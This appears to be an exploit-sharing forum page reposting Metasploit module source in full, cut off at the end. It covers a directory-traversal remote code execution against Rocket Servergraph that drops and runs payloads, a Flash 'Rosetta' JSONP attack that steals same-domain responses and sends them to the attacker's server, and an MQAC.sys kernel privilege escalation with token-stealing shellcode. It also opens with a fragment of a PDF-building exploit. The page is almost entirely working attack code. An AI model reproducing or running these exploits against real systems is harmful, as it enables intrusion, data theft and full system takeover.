    add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==")
    add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=")
    add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=")
    add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==")
    add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=")
    add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==")
    add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=")
    add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==")
    add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=")
    add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ")
    add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=")
 
    @xref_offset = @pdf.length
    @pdf << xref_table << trailer(25) << startxref
 
    @pdf
  end
 
end
 
Rocket Servergraph Admin Center fileRequestor Remote Code Execution

This module abuses several directory traversal flaws in Rocket Servergraph Admin
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
allowing a remote attacker to write arbitrary files and execute commands with
administrative privileges. This module has been tested successfully on Rocket
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
12.04 64 bits.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
      'Description' => %q{
        This module abuses several directory traversal flaws in Rocket Servergraph Admin
        Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
        allowing a remote attacker to write arbitrary files and execute commands with
        administrative privileges. This module has been tested successfully on Rocket
        ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
        12.04 64 bits.
      },
      'Author'       =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2014-3914'],
          ['ZDI', '14-161'],
          ['ZDI', '14-162'],
          ['BID', '67779']
        ],
      'Privileged'  => true,
      'Platform'    => %w{ linux unix win },
      'Arch'        => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
      'Payload'     =>
        {
          'Space'       => 8192, # it's writing a file, so just a long enough value
          'DisableNops' => true
          #'BadChars'   => (0x80..0xff).to_a.pack("C*") # Doesn't apply
        },
      'Targets'     =>
        [
          [ 'Linux (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Linux (CMD Payload)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ],
          [ 'Windows / VB Script',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Windows CMD',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 30 2013'))
  
    register_options(
      [
        Opt::RPORT(8888)
      ], self.class)
  
    register_advanced_options(
      [
        OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
        OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
        OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
      ], self.class)
  
  end
  
  def check
    os = get_os
  
    if os.nil?
      return Exploit::CheckCode::Safe
    end
  
    Exploit::CheckCode::Appears
  end
  
  def exploit
    os = get_os
  
    if os == 'win' && target.name =~ /Linux/
      fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
    elsif os == 'linux' && target.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
    elsif os.nil?
      print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
    end
  
    if target.name =~ /Windows.*VB/
      exploit_windows_vbs
    elsif target.name =~ /Windows.*CMD/
      exploit_windows_cmd
    elsif target.name =~ /Linux.*CMD/
      exploit_linux_cmd
    elsif target.name =~ /Linux.*Native/
      exploit_linux_native
    end
  end
  
  def exploit_windows_vbs
    traversal = "\\.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('win')
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
  
    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
  
    vbs = generate_decoder_vbs({
      :temp_dir => "C:#{temp}",
      :encoded_file_name => encoded_file_name,
      :exe_file_name => exe_file_name
    })
    print_status("#{peer} - Dropping the VBS decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
  
    register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
    register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
    register_files_for_cleanup("C:#{temp}#{exe_file_name}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
  end
  
  
  def exploit_windows_cmd
    traversal = "\\.." * traversal_depth
    execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
  end
  
  def exploit_linux_native
    traversal = "/.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('linux')
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
    elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
  
    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
  
    decoder = <<-SH
#!/bin/sh
  
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
chmod 777 #{temp}#{elf_file_name}
#{temp}#{elf_file_name}
SH
  
    print_status("#{peer} - Dropping the decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
  
    register_files_for_cleanup("#{temp}#{decoder_file_name}")
    register_files_for_cleanup("#{temp}#{encoded_file_name}")
    register_files_for_cleanup("#{temp}#{elf_file_name}")
  
    print_status("#{peer} - Giving execution permissions to the decoder...")
    execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
  
    print_status("#{peer} - Executing decoder and payload...")
    execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
  end
  
  def exploit_linux_cmd
    temp = temp_dir('linux')
    elf = rand_text_alpha(4 + rand(4))
  
    traversal = "/.." * traversal_depth
    print_status("#{peer} - Dropping payload...")
    write_file("#{traversal}#{temp}#{elf}", payload.encoded)
    register_files_for_cleanup("#{temp}#{elf}")
    print_status("#{peer} - Providing execution permissions...")
    execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}#{temp}#{elf}")
  end
  
  def generate_decoder_vbs(opts = {})
    decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
  
    f = File.new(decoder_path, "rb")
    decoder = f.read(f.stat.size)
    f.close
  
    decoder.gsub!(/>>decode_stub/, "")
    decoder.gsub!(/^echo /, "")
    decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
    decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
  
    decoder
  end
  
  def get_os
    os = nil
    path = ""
    hint = rand_text_alpha(3 + rand(4))
  
    res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
  
    if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
      path = $1
    elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
      path = $1
    end
  
    if path =~ /^\//
      os = 'linux'
    elsif path =~ /^[a-zA-Z]:\\/
      os = 'win'
    end
  
    os
  end
  
  def temp_dir(os)
    temp = ""
    case os
    when 'linux'
      temp = linux_temp_dir
    when 'win'
      temp = win_temp_dir
    end
  
    temp
  end
  
  def linux_temp_dir
    dir = "/tmp/"
  
    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
      dir = datastore['TEMP_DIR']
    end
  
    unless dir.start_with?("/")
      dir = "/#{dir}"
    end
  
    unless dir.end_with?("/")
      dir = "#{dir}/"
    end
  
    dir
  end
  
  def win_temp_dir
    dir = "\\#{win_dir}\\Temp\\"
  
    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
      dir = datastore['TEMP_DIR']
    end
  
    dir.gsub!(/\//, "\\")
    dir.gsub!(/^([A-Za-z]:)?/, "")
  
    unless dir.start_with?("\\")
      dir = "\\#{dir}"
    end
  
    unless dir.end_with?("\\")
      dir = "#{dir}\\"
    end
  
    dir
  end
  
  def win_dir
    dir = "WINDOWS"
    if datastore['WINDIR']
      dir = datastore['WINDIR']
      dir.gsub!(/\//, "\\")
      dir.gsub!(/[\\]*$/, "")
      dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
    end
  
    dir
  end
  
  def traversal_depth
    depth = 20
  
    if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
      depth = datastore['TRAVERSAL_DEPTH']
    end
  
    depth
  end
  
  def write_file(file_name, contents)
    res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
  
    unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
      fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
    end
  
    res
  end
  
  def execute(command)
    res = send_request(1, "run", command)
  
    res
  end
  
  def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
    data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
    data << "&title=#{rand_text_alpha(rand(4) + 4)}"
    data << "&params=#{rand_text_alpha(rand(4) + 4)}"
    data << "&id=#{rand_text_alpha(rand(4) + 4)}"
    data << "&cmd=#{command}"
    data << "&source=#{source}"
    data << "&query=#{query}"
  
    res = send_request_cgi(
      {
        'uri'    => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
        'method' => 'POST',
        'data'   => data
      }, timeout)
  
    res
  end
  
end
 
Flash "Rosetta" JSONP GET/POST Response Disclosure Exploit+

A website that serves a JSONP endpoint that accepts a custom alphanumeric callback of 1200 chars can be abused to serve an encoded swf payload that steals the contents of a same-domain URL. Flash < 14.0.0.145 is required. This module spins up a web server that, upon navigation from a user, attempts to abuse the specified JSONP endpoint URLs by stealing the response from GET requests to STEAL_URLS.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'open-uri'
require 'uri'
 
class Metasploit3 < Msf::Auxiliary
 
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure',
      'Description' => %q{
A website that serves a JSONP endpoint that accepts a custom alphanumeric
callback of 1200 chars can be abused to serve an encoded swf payload that
steals the contents of a same-domain URL. Flash < 14.0.0.145 is required.
 
This module spins up a web server that, upon navigation from a user, attempts
to abuse the specified JSONP endpoint URLs by stealing the response from
GET requests to STEAL_URLS.
},
      'License' => MSF_LICENSE,
      'Author' => [
        'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure
        'joev' # msf module
      ],
      'References' =>
        [
          ['CVE', '2014-4671'],
          ['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'],
          ['URL', 'https://github.com/mikispag/rosettaflash'],
          ['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/']
        ],
      'DisclosureDate' => 'Jul 8 2014',
      'Actions' => [ [ 'WebServer' ] ],
      'PassiveActions' => [ 'WebServer' ],
      'DefaultAction' => 'WebServer'))
 
    register_options(
      [
        OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]),
        OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]),
        OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]),
        OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]),
        OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ])
      ],
      self.class)
  end
 
  def run
    if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe
      raise "JSONP endpoint does not allow sufficiently long callback names."
    end
 
    unless datastore['URIPATH'] == '/'
      raise "URIPATH must be set to '/' to intercept crossdomain.xml request."
    end
 
    exploit
  end
 
  def check
    test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)
    io = open(exploit_url(test_string))
    if io.read.start_with? test_string
      Msf::Exploit::CheckCode::Vulnerable
    else
      Msf::Exploit::CheckCode::Safe
    end
  end
 
  def on_request_uri(cli, request)
    vprint_status("Request '#{request.method} #{request.uri}'")
    if request.uri.end_with? 'crossdomain.xml'
      print_status "Responding to crossdomain request.."
      send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')
    elsif request.uri.end_with? '.log'
      body = URI.decode(request.body)
      file = store_loot(
        "html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"
      )
      url = body.lines.first.gsub(/.*?=/,'')
      print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}"
      print_good "Stored in #{file}"
    else
      print_status "Serving exploit HTML"
      send_response_html(cli, exploit_html)
    end
  end
 
  def exploit_url(data_payload)
    delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
    "#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
  end
 
  def exploit_html
    ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log')
    %Q|
<!doctype html>
<html>
<body>
<object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}"
width=500 height=500>
<param name="FlashVars"
value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" />
</object>
</body>
</html>
|
  end
 
  # Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
  #
  # Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:
  #
  # class X {
  # static var app : X;
  #
  # function getURL(url:String) {
  # var r:LoadVars = new LoadVars();
  # r.onData = function(src:String) {
  # if (_root.exfiltrate) {
  # var w:LoadVars = new LoadVars();
  # w.x = url+"\n"+src;
  # w.sendAndLoad(_root.exfiltrate, w, "POST");
  # }
  # }
  # r.load(url, r, "GET");
  # }
  #
  # function X(mc) {
  # if (_root.url) {
  # var urls:Array = _root.url.split(",");
  # for (var i in urls) {
  # getURL(urls[i]);
  # }
  # }
  # }
  #
  # // entry point
  # static function main(mc) {
  # app = new X(mc);
  # }
  # }
  #
  #
  # Compiling the .as using mtasc and swftool:
  #
  # > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as
  # $ swfcombine -d out.swf -o out-uncompressed.swf
  # $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf
  #
  def encoded_swf
    "CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \
    "sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \
    "nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \
    "oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \
    "BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \
    "WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \
    "8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \
    "HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \
    "HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \
    "DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \
    "HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \
    "Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \
    "DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \
    "XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \
    "p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \
    "sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \
    "sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \
    "tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \
    "7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \
    "HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \
    "wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \
    "HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \
    "wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \
    "HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \
    "CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \
    "33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \
    "gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \
    "nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9"
  end
 
  def crossdomain_xml
    %Q|
<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
|
  end
 
  def rhost
    URI.parse(datastore["JSONP_URL"]).host
  end
 
end
 
MQAC.sys Arbitrary Write Privilege Escalation Exploit
A vulnerability within the MQAC.sys module allows an attacker to overwrite an arbitrary location in kernel memory. This Metasploit module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process.
Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'rex'
 
class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking
 
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
 
  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'MQAC.sys Arbitrary Write Privilege Escalation',
      'Description'    => %q{
        A vulnerability within the MQAC.sys module allows an attacker to
        overwrite an arbitrary location in kernel memory.
 
        This module will elevate itself to SYSTEM, then inject the payload
        into another SYSTEM process.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Matt Bergin', # original exploit and all the hard work
          'Spencer McIntyre' # MSF module
        ],
      'Arch'           => [ ARCH_X86 ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC'   => 'thread',
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              '_KPROCESS' => "\x44",
              '_TOKEN' => "\xc8",
              '_UPID' => "\x84",
              '_APLINKS' => "\x88"
            }
          ],
        ],
      'References'    =>
        [
          [ 'CVE', '2014-4971' ],
          [ 'EDB', '34112' ],
          [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
        ],
      'DisclosureDate'=> 'Jul 22 2014',
      'DefaultTarget' => 0
    }))
  end
 
  def find_sys_base(drvname)
    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
    session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
 
    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('krnl')
          return [address, current_drvname]
        end
      elsif drvname == results['lpBaseName'][0..results['return'] - 1]
        return [address, current_drvname]
      end
    end
  end
 
  # Function borrowed from smart_hashdump
  def get_system_proc
    # Make sure you got the correct SYSTEM Account Name no matter the OS Language
    local_sys = resolve_sid("S-1-5-18")
    system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
 
    this_pid = session.sys.process.getpid
    # Processes that can Blue Screen a host if migrated in to
    dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
    session.sys.process.processes.each do |p|
      # Check we are not migrating to a process that can BSOD the host
      next if dangerous_processes.include?(p["name"])
      next if p["pid"] == this_pid
      next if p["pid"] == 4
      next if p["user"] != system_account_name
      return p
    end
  end
 
  def open_device
    handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil)
    if handle['return'] == 0
      print_error('Failed to open the \\\\.\\MQAC device')
      return nil
    end
    handle = handle['return']
  end
 
  def check
    handle = open_device
    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)
 
    os = sysinfo["OS"]
    case os
    when /windows xp.*service pack 3/i
      return Exploit::CheckCode::Appears
    when /windows xp/i
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end
 
  def exploit
    if sysinfo["Architecture"] =~ /wow64/i
      print_error("Running against WOW64 is not supported")
      return
    elsif sysinfo["Architecture"] =~ /x64/
      print_error("Running against 64-bit systems is not supported")
      return
    end
 
    if is_system?
      print_error("This meterpreter session is already running as SYSTEM")
      return
    end
 
    kernel_info = find_sys_base(nil)
    base_addr = 0xffff
    print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
 
    handle = open_device
    return if handle.nil?
 
    this_proc = session.sys.process.open
    unless this_proc.memory.writable?(base_addr)
      session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack("L"), nil, [ 0xffff ].pack("L"), "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
    end
    unless this_proc.memory.writable?(base_addr)
      print_error('Failed to properly allocate memory')
      this_proc.close
      return
    end
 
    hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
    hKernel = hKernel['return']
    halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
    halDispatchTable = halDispatchTable['return']
    halDispatchTable -= hKernel
    halDispatchTable += kernel_info[0]
    print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
 
    tokenstealing  = "\x52"                                                        # push edx                         # Save edx on the stack
    tokenstealing << "\x53"                                                        # push ebx                         # Save ebx on the stack
    tokenstealing << "\x33\xc0"                                                    # xor eax, eax                     # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                                # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + target['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8"                                                    # mov ecx, eax
    tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN
    tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks
    tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
    tokenstealing << "\x75\xe8"                                                    # jne 0000101e ======================
    tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX
    tokenstealing << "\x8b\xc1"                                                    # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
    tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS
    tokenstealing << "\x5b"                                                        # pop ebx                          # Restores ebx
    tokenstealing << "\x5a"                                                        # pop edx                          # Restores edx
    tokenstealing << "\xc2\x10"                                                    # ret 10h                          # Away from the kernel!
 
    shellcode = make_nops(0x200) + tokenstealing
    this_proc.memory.write(0x1, shellcode)
    this_proc.close
 
    print_status("Triggering vulnerable IOCTL")
    session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0)
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
 
    unless is_system?
      print_error("Exploit failed")
      return
    end
 
    proc = get_system_proc
